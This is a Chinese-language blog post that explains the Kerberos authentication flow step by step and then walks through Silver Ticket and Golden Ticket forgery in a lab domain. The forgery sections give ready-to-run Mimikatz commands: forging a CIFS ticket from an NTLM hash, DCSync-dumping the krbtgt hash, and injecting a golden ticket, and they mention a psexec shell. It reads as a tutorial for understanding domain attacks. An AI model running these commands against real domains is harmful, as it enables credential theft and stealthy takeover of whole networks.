Kerberos 協議到票據偽造
目前域環境中使用的認證協議基本都是Kerberos,所以把Kerberos協議理解透徹對域滲透來說極其重要。
圖片來自:
web.mit.edu/kerberos/
0x01 Kerberos協議簡化描述
上面的圖片就是Kerberos的logo,形象為三個狗頭,正好符合Kerberos協議中的三個主要角色:
- Client = 訪問服務的客戶端
- Server = 提供服務的服務端
- Key Distribution Center(KDC)= 密鑰分發中心 = Domain Controller(DC)
其中KDC又包含以下兩部分:
- Authentication Server(AS)= 認證服務
- Ticket Granting Server(TGS)= 票據授權服務

Kerberos協議簡要描述如下:
客戶端發送自己的用戶名到
KDC服務器以向AS服務進行認證。KDC服務器會生成相應的TGT(Ticket Granting Ticket)票據,打上時間戳,在本地數據庫中查找該用戶的密碼,并用該密碼對TGT進行加密,將結果發還給客戶端。客戶端收到該信息,使用自己的密碼進行解密之后,得到
TGT票據。這個TGT會在一段時間之后失效,也有一些會話管理器(session manager)能在用戶登陸期間進行自動更新。當客戶端需要使用一些特定服務的時候,客戶端就發送
TGT到KDC服務器中的TGS服務。當該用戶的
TGT驗證通過并且其有權訪問所申請的服務時,TGS服務會生成一個該服務所對應的票據(ticket)和會話密鑰(session key),并發還給客戶端。客戶端將服務請求與該
ticket一并發送給相應的服務端即可。
0x02 Kerberos協議具體流程
用戶登陸
用戶使用客戶端上的程序進行登陸。
用戶需要在客戶端上輸入用戶ID與密碼,客戶端程序運行一個單向函數(One-way function)把密碼轉換成密鑰,這個就是客戶端(Client)的用戶密鑰(user's secret key)。
客戶端認證
客戶端(Client)從認證服務器(AS)獲取票據授權票據Ticket Granting Ticket簡稱TGT。
客戶端向
AS發送一條明文信息,用以申請對某服務的訪問。但是這里用戶不向
AS發送用戶密鑰(user's secret key),也不發送密碼,該AS能夠從本地數據庫中查詢到該申請用戶的密碼,并通過與客戶端相同的途徑轉換成相同的用戶密鑰(user's secret key)。AS檢查該用戶ID是否存在于本地數據庫中,如果存在則返回兩條信息:Client/TGS會話密鑰(Client/TGS Session Key),該Session Key用在將來Client與TGS的通信上,并通過用戶密鑰(user's secret key)進行加密。票據授權票據(
TGT),TGT包括:Client/TGS會話密鑰,用戶ID,用戶網址,TGT有效期,并通過TGS密鑰(TGS's secret key)進行加密。
當
Client收到上一步的兩條消息后,Client首先嘗試用自己的用戶密鑰(user's secret key)解密Client/TGS會話密鑰,如果用戶輸入的密碼與AS數據庫中的密碼不符,則不能成功解密。輸入正確的密碼并通過隨之生成的user's secret key才能解密,從而得到Client/TGS會話密鑰。
服務授權
Client從TGS獲取票據(client-to-server ticket)
當
Client需要申請特定服務時,會向TGS發送以下兩條消息:AS向Client返回的票據授權票據TGT,以及需要獲取服務的服務ID。- 認證符(
Authenticator),其包括:用戶ID,時間戳,并通過Client/TGS會話密鑰進行加密。
收到以上兩條消息后,
TGS首先檢查KDC數據庫中是否存在所需的服務,查找到之后,TGS用自己的TGS密鑰(TGS's secret key)解密TGT,從而得到之前生成的Client/TGS會話密鑰。TGS再用這個會話密鑰解密得到包含用戶ID和時間戳的Authenticator,并對TGT和Authenticator進行驗證,驗證通過之后返回兩條消息:Client-Server票據(client-to-server ticket),該票據包括:Client/SS會話密鑰 (Client/Server Session Key),用戶ID,用戶網址,有效期),并通過提供該服務的服務器密鑰(service's secret key)進行加密。Client/SS會話密鑰(Client/Server Session Key),該會話密鑰用在將來Client與Server Service的通信上,并通過Client/TGS會話密鑰(Client/TGS Session Key)進行加密。
Client收到這些消息后,用Client/TGS會話密鑰(Client/TGS Session Key)解密得到Client/SS會話密鑰(Client/Server Session Key)。
服務請求
Client從Server獲取服務
- 當獲得
Client/SS會話密鑰(Client/Server Session Key)之后,Client就能夠使用服務器提供的服務了。Client向指定服務器Server發出兩條消息:- 上一步的
Client-Server票據(client-to-server ticket),并通過服務器密鑰(service's secret key)進行加密。 - 新的
Authenticator包括:用戶ID,時間戳,并通過Client/SS會話密鑰(Client/Server Session Key)進行加密。
- 上一步的
Server用自己的密鑰service's secret key解密Client-Server票據得到TGS提供的Client/SS會話密鑰Client/Server Session Key。再用這個會話密鑰解密得到新的Authenticator,再對Ticket和Authenticator進行驗證,驗證通過則返回一條消息:- 新時間戳,新時間戳是:
Client發送的時間戳加1(Kerberos版本5已經取消這一做法),并通過Client/SS會話密鑰(Client/Server Session Key)進行加密。
- 新時間戳,新時間戳是:
Client通過Client/SS會話密鑰(Client/Server Session Key)解密得到新時間戳并驗證其是否正確。驗證通過的話則客戶端可以信賴服務器,并向服務器Server發送服務請求。- 服務器
Server向客戶端Client提供相應的服務。

0x03 白銀票據Silver Ticket偽造
白銀票據偽造的是TGS的票據,是一個點對點的有效憑證。
正常情況下一個非域管權限的域內用戶訪問域控的文件共享是拒絕訪問的。

下面來偽造白銀票據來讓Client端的該用戶具有訪問權限:
得到域控管理員
NTLM Hash:ec9c6ab085b32841da1a0c61466b959b
得到域
SID:S-1-5-21-3446166583-1116429469-1279190574
- 當前域名是
zjun.com,偽造的用戶名為test,服務偽造cifs,需要訪問的主機是dc.zjun.com,在Client利用Mimikatz執行
- 當前域名是
kerberos::golden /domain:zjun.com /sid:S-1-5-21-3446166583-1116429469-1279190574 /target:dc.zjun.com /rc4:ec9c6ab085b32841da1a0c61466b959b /service:cifs /user:test /ptt
/domain: 域名稱
/sid: 域SID
/target: 目標主機名
/service: 服務類型
/rc4: 用戶NTLM hash
/user: 偽造的隨意用戶名

可以看到內存中已經有了票據

現在也有了權限訪問DC的文件共享了

也可以利用psexec彈回cmd

0x04 黃金票據Golden Ticket偽造
黃金票據偽造的是TGT,是一個任意服務的認證憑據。
偽造黃金票據最主要得是需要獲得krbtgt用戶的NTLM hash,在拿下域控后可以抓取kerbtgt的NTLM hash:
mimikatz.exe log "lsadump::dcsync /domain:zjun.com /user:krbtgt" exit

然后便可容易在域內其他主機或可以訪問到域的主機上偽造黃金票據:
kerberos::golden /admin:administrator /domain:zjun.com /sid:S-1-5-21-3446166583-1116429469-1279190574 /krbtgt:66ad458513450343d7625cd1bc6f7262 /ptt
/admin:偽造的任意用戶名
/domain:域名稱
/sid:域SID
/krbtgt:krbtgt用戶的NTLM hash

可以很隱蔽的控制整個域環境。

0x05 總結
kerberos協議認證流程雖然比較干枯,但是在理解之后會對域環境有一個比較深刻的理解。上面的內容可能會有一些錯誤或沒表述清晰,畢竟本人才疏學淺,寫這篇文章的時候也有自己被自己繞到。
作者: zjun
文章鏈接: www.zjun.info/2020/kerberos.html